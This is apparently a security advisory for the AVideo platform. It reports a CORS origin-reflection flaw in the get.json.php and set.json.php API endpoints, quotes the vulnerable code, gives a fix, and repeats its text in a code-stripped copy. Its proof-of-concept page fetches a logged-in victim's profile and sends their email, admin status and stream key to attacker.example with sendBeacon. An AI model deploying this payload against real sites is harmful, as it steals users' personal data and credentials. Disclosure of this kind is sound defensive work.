Summary
The allowOrigin($allowAll=true) function in objects/functions.php reflects any arbitrary Origin header back in Access-Control-Allow-Origin along with Access-Control-Allow-Credentials: true. This function is called by both plugin/API/get.json.php and plugin/API/set.json.php — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's SameSite=None session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.
Details
The vulnerable code path is in objects/functions.php lines 2773-2791:
// objects/functions.php:2773
if ($allowAll) {
$requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (!empty($requestOrigin)) {
header('Access-Control-Allow-Origin: ' . $requestOrigin);
header('Access-Control-Allow-Credentials: true');
} else {
header('Access-Control-Allow-Origin: *');
}
// ... allows all methods and headers ...
return;
}This is called unconditionally at the top of both API entry points:
// plugin/API/get.json.php:12
allowOrigin(true);
// plugin/API/set.json.php:12
allowOrigin(true);
The comment above the code claims "These endpoints return public ad XML and carry no session-sensitive data" — this is incorrect. The same allowOrigin(true) call gates the entire API surface.
The attack is enabled by the session cookie configuration at objects/include_config.php:144:
ini_set('session.cookie_samesite', 'None');This ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via $_SESSION['user']['id'] (in User::getId()).
When a logged-in user's session is present, the get_api_user endpoint (API.php:3009) returns full user data without sanitization for the user's own profile ($isViewingOwnProfile = true bypasses removeSensitiveUserFields), including:
- Email, full name, address, phone, birth date (PII)
- Admin status and permission flags
- Livestream server URL with embedded password (API.php:3059)
- Encrypted stream key (API.php:3063)
The recent fix in commit 986e64aad addressed CORS handling in the non-$allowAll path (null origin and trusted subdomains) but left this far more dangerous $allowAll=true path completely untouched.
PoC
Step 1: Host the following HTML on any domain (e.g., https://attacker.example):
<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Step 1: Steal user profile data (PII, admin status, stream keys)
fetch('https://TARGET/plugin/API/get.json.php?APIName=user', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
document.getElementById('result').textContent = JSON.stringify(data, null, 2);
// Exfiltrate to attacker server
navigator.sendBeacon('https://attacker.example/collect',
JSON.stringify({
email: data.user?.email,
name: data.user?.user,
isAdmin: data.user?.isAdmin,
streamKey: data.livestream?.key,
streamServer: data.livestream?.server
})
);
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>Step 2: Victim visits the attacker page while logged into the AVideo instance.
Step 3: The browser sends a credentialed cross-origin GET request to the API. The server responds with:
Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true
Step 4: The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.
Step 5 (optional escalation): The attacker can also invoke set.json.php endpoints to perform state changes on behalf of the victim.
Impact
- User PII theft: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page
- Account compromise: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking
- Admin reconnaissance: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts
- State modification: The
set.json.php endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim
- Mass exploitation: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor
Recommended Fix
Replace the permissive origin reflection in allowOrigin() with validation against the site's configured domain. The $allowAll path should validate the origin the same way the non-$allowAll path does:
// objects/functions.php:2773 — replace the $allowAll block with:
if ($allowAll) {
$requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (!empty($requestOrigin)) {
// Validate origin against site domain before reflecting
$siteOrigin = '';
if (!empty($global['webSiteRootURL'])) {
$parsed = parse_url($global['webSiteRootURL']);
if (!empty($parsed['scheme']) && !empty($parsed['host'])) {
$siteOrigin = $parsed['scheme'] . '://' . $parsed['host'];
if (!empty($parsed['port'])) {
$siteOrigin .= ':' . $parsed['port'];
}
}
}
if ($requestOrigin === $siteOrigin) {
header('Access-Control-Allow-Origin: ' . $requestOrigin);
header('Access-Control-Allow-Credentials: true');
} else {
// For truly public resources (ad XML), allow without credentials
header('Access-Control-Allow-Origin: ' . $requestOrigin);
// Do NOT set Allow-Credentials for untrusted origins
}
} else {
header('Access-Control-Allow-Origin: *');
}
// ... rest of headers ...
}Additionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive allowOrigin(true) call.
References
offset Reporter
Summary
The
allowOrigin($allowAll=true)function inobjects/functions.phpreflects any arbitraryOriginheader back inAccess-Control-Allow-Originalong withAccess-Control-Allow-Credentials: true. This function is called by bothplugin/API/get.json.phpandplugin/API/set.json.php— the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application'sSameSite=Nonesession cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.Details
The vulnerable code path is in
objects/functions.phplines 2773-2791:This is called unconditionally at the top of both API entry points:
The comment above the code claims "These endpoints return public ad XML and carry no session-sensitive data" — this is incorrect. The same
allowOrigin(true)call gates the entire API surface.The attack is enabled by the session cookie configuration at
objects/include_config.php:144:This ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via
$_SESSION['user']['id'](inUser::getId()).When a logged-in user's session is present, the
get_api_userendpoint (API.php:3009) returns full user data without sanitization for the user's own profile ($isViewingOwnProfile = truebypassesremoveSensitiveUserFields), including:The recent fix in commit
986e64aadaddressed CORS handling in the non-$allowAllpath (null origin and trusted subdomains) but left this far more dangerous$allowAll=truepath completely untouched.PoC
Step 1: Host the following HTML on any domain (e.g.,
https://attacker.example):Step 2: Victim visits the attacker page while logged into the AVideo instance.
Step 3: The browser sends a credentialed cross-origin GET request to the API. The server responds with:
Step 4: The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.
Step 5 (optional escalation): The attacker can also invoke
set.json.phpendpoints to perform state changes on behalf of the victim.Impact
set.json.phpendpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victimRecommended Fix
Replace the permissive origin reflection in
allowOrigin()with validation against the site's configured domain. The$allowAllpath should validate the origin the same way the non-$allowAllpath does:Additionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive
allowOrigin(true)call.References